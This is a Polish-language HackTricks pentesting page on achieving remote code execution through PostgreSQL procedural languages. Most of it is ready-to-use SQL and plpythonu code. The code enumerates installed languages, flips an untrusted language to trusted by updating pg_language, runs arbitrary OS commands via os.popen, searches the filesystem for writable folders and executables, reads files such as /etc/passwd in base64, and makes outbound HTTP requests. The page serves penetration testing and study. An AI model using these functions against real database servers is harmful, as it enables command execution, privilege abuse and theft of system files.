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303 lines
6.7 KiB
Markdown
303 lines
6.7 KiB
Markdown
# RCE z językami PostgreSQL
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{{#include ../../../banners/hacktricks-training.md}}
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## Języki PostgreSQL
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Baza danych PostgreSQL, do której uzyskałeś dostęp, może mieć zainstalowane różne **języki skryptowe**, które możesz wykorzystać do **wykonywania dowolnego kodu**.
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Możesz **je uruchomić**:
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```sql
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\dL *
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SELECT lanname,lanpltrusted,lanacl FROM pg_language;
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```
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Większość języków skryptowych, które możesz zainstalować w PostgreSQL, ma **2 odmiany**: **zaufaną** i **niezaufaną**. **Niezaufana** będzie miała nazwę **kończącą się na "u"** i będzie wersją, która pozwoli ci na **wykonywanie kodu** i korzystanie z innych interesujących funkcji. Oto języki, które są interesujące, jeśli są zainstalowane:
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- **plpythonu**
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- **plpython3u**
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- **plperlu**
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- **pljavaU**
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- **plrubyu**
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- ... (jakikolwiek inny język programowania używający niebezpiecznej wersji)
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> [!WARNING]
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> Jeśli znajdziesz interesujący język, który jest **zainstalowany**, ale **niezaufany** przez PostgreSQL (**`lanpltrusted`** jest **`false`**) możesz spróbować **zaufać mu** za pomocą następującej linii, aby żadne ograniczenia nie były stosowane przez PostgreSQL:
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>
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> ```sql
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> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
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> # Aby sprawdzić swoje uprawnienia do tabeli pg_language
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> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
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> ```
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> [!CAUTION]
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> Jeśli nie widzisz języka, możesz spróbować go załadować (musisz być superadminem):
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>
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> ```
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> CREATE EXTENSION plpythonu;
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> CREATE EXTENSION plpython3u;
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> CREATE EXTENSION plperlu;
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> CREATE EXTENSION pljavaU;
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> CREATE EXTENSION plrubyu;
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> ```
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Zauważ, że możliwe jest skompilowanie bezpiecznych wersji jako "niebezpieczne". Sprawdź [**to**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) na przykład. Zawsze warto spróbować, czy możesz wykonać kod, nawet jeśli znajdziesz tylko zainstalowaną **zaufaną** wersję.
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## plpythonu/plpython3u
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{{#tabs}}
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{{#tab name="RCE"}}
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```sql
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CREATE OR REPLACE FUNCTION exec (cmd text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.popen(cmd).read()
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#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
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$$
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LANGUAGE 'plpythonu';
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SELECT cmd("ls"); #RCE with popen or execve
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```
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{{#endtab}}
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{{#tab name="Get OS user"}}
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```sql
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CREATE OR REPLACE FUNCTION get_user (pkg text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.getlogin()
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$$
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LANGUAGE 'plpythonu';
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SELECT get_user(""); #Get user, para is useless
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```
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{{#endtab}}
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{{#tab name="List dir"}}
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```sql
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CREATE OR REPLACE FUNCTION lsdir (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import json
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from os import walk
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files = next(walk(dir), (None, None, []))
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return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
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$$
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LANGUAGE 'plpythonu';
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SELECT lsdir("/"); #List dir
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```
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{{#endtab}}
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{{#tab name="Znajdź folder W"}}
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```sql
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CREATE OR REPLACE FUNCTION findw (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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writables = []
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def find_writable(path):
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if not os.path.isdir(path):
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return
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if os.access(path, os.W_OK):
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writables.append(path)
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_writable(os.path.join(path, item))
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find_writable(path)
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return writables
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return ", ".join(my_find(dir))
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$$
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LANGUAGE 'plpythonu';
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SELECT findw("/"); #Find Writable folders from a folder (recursively)
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```
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{{#endtab}}
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{{#tab name="Znajdź plik"}}
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```sql
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CREATE OR REPLACE FUNCTION find_file (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in os.path.basename(i):
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_file("psql"); #Find a file
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```
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{{#endtab}}
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{{#tab name="Znajdź pliki wykonywalne"}}
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```sql
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CREATE OR REPLACE FUNCTION findx (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find(dir)
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b = []
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for i in a:
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b.append(os.path.basename(i))
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT findx("/"); #Find an executables in folder (recursively)
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```
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{{#endtab}}
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{{#tab name="Znajdź exec przez subs"}}
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```sql
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CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in i:
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_exe("psql"); #Find executable by susbstring
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```
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{{#endtab}}
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{{#tab name="Przeczytaj"}}
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```sql
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CREATE OR REPLACE FUNCTION read (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import base64
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encoded_string= base64.b64encode(open(path).read())
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return encoded_string.decode('utf-8')
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return open(path).read()
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$$
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LANGUAGE 'plpythonu';
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select read('/etc/passwd'); #Read a file in b64
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```
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{{#endtab}}
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{{#tab name="Uzyskaj uprawnienia"}}
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```sql
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CREATE OR REPLACE FUNCTION get_perms (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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status = os.stat(path)
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perms = oct(status.st_mode)[-3:]
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return str(perms)
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$$
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LANGUAGE 'plpythonu';
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select get_perms("/etc/passwd"); # Get perms of file
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```
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{{#endtab}}
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{{#tab name="Request"}}
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```sql
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CREATE OR REPLACE FUNCTION req2 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import urllib
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r = urllib.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req2('https://google.com'); #Request using python2
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CREATE OR REPLACE FUNCTION req3 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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from urllib import request
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r = request.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req3('https://google.com'); #Request using python3
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```
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{{#endtab}}
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{{#endtabs}}
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## pgSQL
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Sprawdź następującą stronę:
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{{#ref}}
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pl-pgsql-password-bruteforce.md
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{{#endref}}
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## C
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Sprawdź następującą stronę:
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{{#ref}}
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rce-with-postgresql-extensions.md
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{{#endref}}
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{{#include ../../../banners/hacktricks-training.md}}
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